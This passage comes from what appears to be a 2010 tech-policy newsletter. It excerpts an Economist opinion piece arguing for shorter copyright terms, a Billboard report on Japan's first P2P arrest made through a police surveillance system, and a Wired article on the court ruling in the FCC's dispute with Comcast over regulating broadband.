The notion that lengthening copyright increases creativity is questionable, however. Authors and artists do not generally consult the statute books before deciding whether or not to pick up pen or paintbrush. And overlong copyrights often limit, rather than encourage, a work’s dissemination, impact and influence. It can be difficult to locate copyright holders to obtain the rights to reuse old material. As a result, much content ends up in legal limbo (and in the case of old movies and sound recordings, is left to deteriorate—copying them in order to preserve them may constitute an act of infringement). The penalties even for inadvertent infringement are so punishing that creators routinely have to self-censor their work. Nor does the advent of digital technology strengthen the case for extending the period of protection. Copyright protection is needed partly to cover the costs of creating and distributing works in physical form. Digital technology slashes such costs, and thus reduces the argument for protection.

The moral case, although easy to sympathise with, is a way of trying to have one’s cake and eat it. Copyright was originally the grant of a temporary government-supported monopoly on copying a work, not a property right. From 1710 onwards, it has involved a deal in which the creator or publisher gives up any natural and perpetual claim in order to have the state protect an artificial and limited one. So it remains.

The question is how such a deal can be made equitably. At the moment, the terms of trade favour publishers too much. A return to the 28-year copyrights of the Statute of Anne would be in many ways arbitrary, but not unreasonable. If there is a case for longer terms, they should be on a renewal basis, so that content is not locked up automatically. The value society places on creativity means that fair use needs to be expanded and inadvertent infringement should be minimally penalised. None of this should get in the way of the enforcement of copyright, which remains a vital tool in the encouragement of learning. But tools are not ends in themselves.
http://www.economist.com/opinion/dis...ry_id=15868004





First P2P Arrest Under New Law In Japan
Gavin J. Blair

The High-tech Crime Control Office made its first arrest using a P2P surveillance system that went in to service in January, to find the uploader of films including "Avatar" and "Percy Jackson and the Olympians."

A 62-year-old man was arrested last week in Shizuoka, and has admitted uploading 500 movies over the last four years using "Share" software. He uploaded "Avatar" in December after having downloaded it from another P2P site, and "Percy Jackson and the Olympians" last month.

Mike Ellis, the president and managing director of the Motion Picture Association, Asia-Pacific region, congratulated the police team in a press statement.

"Avatar" was still in the top five at the weekend box office, taking over $160 million so far in its 15-week run.
http://www.billboard.biz/bbbiz/conte...73433318b2bc7f





Court Drives FCC Towards Nuclear Option to Regulate Broadband
Ryan Singel

A federal appeals court all but told the FCC Tuesday that it has no power to regulate the internet, putting large chunks of the much-lauded national broadband plan at risk. And the FCC has only itself to blame.

Telecoms and many internet activists have long argued that the internet is a developing technology that was innovating so quickly that strict regulations would hamper it. In 2005, that argument drove the FCC under the Bush Administration to win a fight in the Supreme Court for the right to deregulate broadband providers, classifying them as an “information service,” largely outside the FCC’s power, rather than a “telecommunications service” that could be regulated like the phone system.

Following that win, the FCC simply issued a set of four principles of net freedom that it said it expected broadband companies to follow. They promised that broadband users could plug in whatever devices they wanted to their connection and then use whatever software or online application that they liked — without interference from their provider. Those principles never went through a rule-making period, and when the FCC went after Comcast for blocking peer-to-peer file sharing services, the company sued the commission in court.

And, on Tuesday, won.

Now broadband companies effectively have no regulations that constrain them, as the FCC has left itself with no statutory means to control what telecoms do with their internet networks.

A broadband company could, for instance, ink a deal with Microsoft to transfer all attempts to reach Google.com to Bing.com. The only recourse a user would have, under the ruling, would be to switch to a different provider — assuming, of course, they had an alternative to switch to.

Companies can also now prohibit you from using a wireless router you bought at the store, forcing you to use one they rent out — just as they do with cable boxes. They could also decide to charge you a fee every time you upgrade your computer, or even block you from using certain models, just as the nation’s mobile phone carriers do today.

While this might seem like a win for the nation’s broadband and wireless companies, the ruling could be so strong that it boomerangs on them. For instance, if the FCC is left without the power to implement key portions of the National Broadband Plan — a so-far popular idea — then Congress or the FCC may have to find a way to restore power to the commission. That could leave the FCC stronger than it was before the ruling.

The option favored by public interest groups is for the FCC to take the drastic course of formally reclassifying broadband as a regulated service, reversing the position it held and defended just a few years ago.

“The FCC should immediately start a proceeding bringing internet access service back under some common carrier regulation similar to that used for decades,” said Gigi Sohn, the president of the pro-net neutrality group Public Knowledge. “In our view, the FCC needs to move quickly and decisively to make sure that consumers are not left at the mercy of telephone and cable companies.”

The FCC’s own statement on the decision acknowledges it will have to do just that.

“Today’s court decision invalidated the prior Commission’s approach to preserving an open internet,” said FCC spokeswoman Jen Howard in a written statement. “But the Court in no way disagreed with the importance of preserving a free and open internet; nor did it close the door to other methods for achieving this important end.”

“Other methods” obliquely refer to either Congress passing a law giving it the power (a process that would likely take years) or the FCC reclassifying broadband as a telecommunications service — in legal terms, moving broadband from Title I to Title II of the Telecommunications Act.

Title II-type regulations should be very familiar to most Americans — they are the rules that apply to phone services. For instance, phone customers have the right to attach whatever device they like to the phone network — from rotary-dial machines to modems to fax machines — so long as they don’t harm the network. They also have the right to call anyone else in the country from friends to astrology services, and phone companies are obliged to connect the call — making them into “common carriers.”

Phone companies that own the physical lines that connect to your house have to rent them to competing services at fair rates. They also have to provide cheap services to low-income customers — subsidized by a tax known as the Universal Service Fee. And they have their prices regulated.

That doesn’t mean moving broadband into “Title II” would impose the full spectrum of telephony regulation on internet service. The FCC has a power known as “forbearance” that lets it lift selected obligations, according to Free Press’s policy counsel Aparna Sridhar.

“Let’s say Title II has 50 provisions,” Sridhar said. “The commission can decide 48 of these don’t make sense for broadband, but one or two or three do. It will be a skinny Title II. Monopoly-style rate regulation is not necessarily the outcome.”

Another consideration is whether the FCC would then be in the business of regulating the content of the internet — as it famously does with fines against broadcasters for profanity on the radio or over-the-air television. Sridhar said that wouldn’t have to be the case.

“If the FCC decided to reclassify the underlying transmission, that doesn’t mean that Hulu or The New York Times or your favorite app will be regulated.”

Hoping to prevent the FCC from reclassifying broadband, the Wireless Association — an opponent of net neutrality rules — argued before the ruling arrived that the Comcast case wouldn’t undermine the national broadband plan.

“I don’t think the National Broadband Plan is in jeopardy, based on the Comcast case,” Guttman-McCabe said a day before the ruling. “Look at things about disclosure and even the Universal Service Fund — there is no need to have Title II authority to address those issues.”

But the court’s reasoning undermines Guttman-McCabe’s theory. While it was tangential to the net neutrality case, the appeals court took the time to point out that the Universal Service Fund was approved by the courts only because it was tied to the FCC’s “Title II responsibility to set reasonable interstate telephone rates.” In short, the court is saying that the Universal Service Fund couldn’t be changed to support broadband, since the FCC has no similar mandate to set broadband rates.

The Wireless Association welcomed the ruling in a written statement Tuesday, ignoring the tricky question of how the FCC could implement large portions of the National Broadband Plan without the authority to regulate broadband.

“Today’s unanimous and very thorough opinion in the Comcast case makes clear that the FCC needs to focus on the important task of making the promise of the National Broadband Plan a reality by spurring investment, innovation and job growth, and turn away from calls to impose restrictive regulations on broadband providers and the internet ecosystem,” said Steve Largent, the group’s CEO.

Comcast also welcomed the ruling, while trying to strike a conciliatory note by saying it likes the idea of open internet principles.

“We are gratified by the Court’s decision today to vacate the previous FCC’s order,” said Sena Fizmaurice, a Comcast spokeswoman. “Comcast remains committed to the FCC’s existing open internet principles, and we will continue to work constructively with this FCC as it determines how best to increase broadband adoption and preserve an open and vibrant internet.”

Meanwhile, Thursday marks a now odd deadline the FCC’s attempt to bolster its net neutrality authority by creating a proper rule-making process last fall that would have codified the ad hoc principles it used to go after Comcast.

Companies and interest groups were set to file final comments by Thursday on that rulemaking — which rested on the same arguments the court just struck down.

That makes the proceeding mostly useless, even though the FCC will still likely take the comments to heart, if and when it ever regains any authority over broadband.
http://www.wired.com/epicenter/2010/04/fcc-next/

















Until next week,

- js.



















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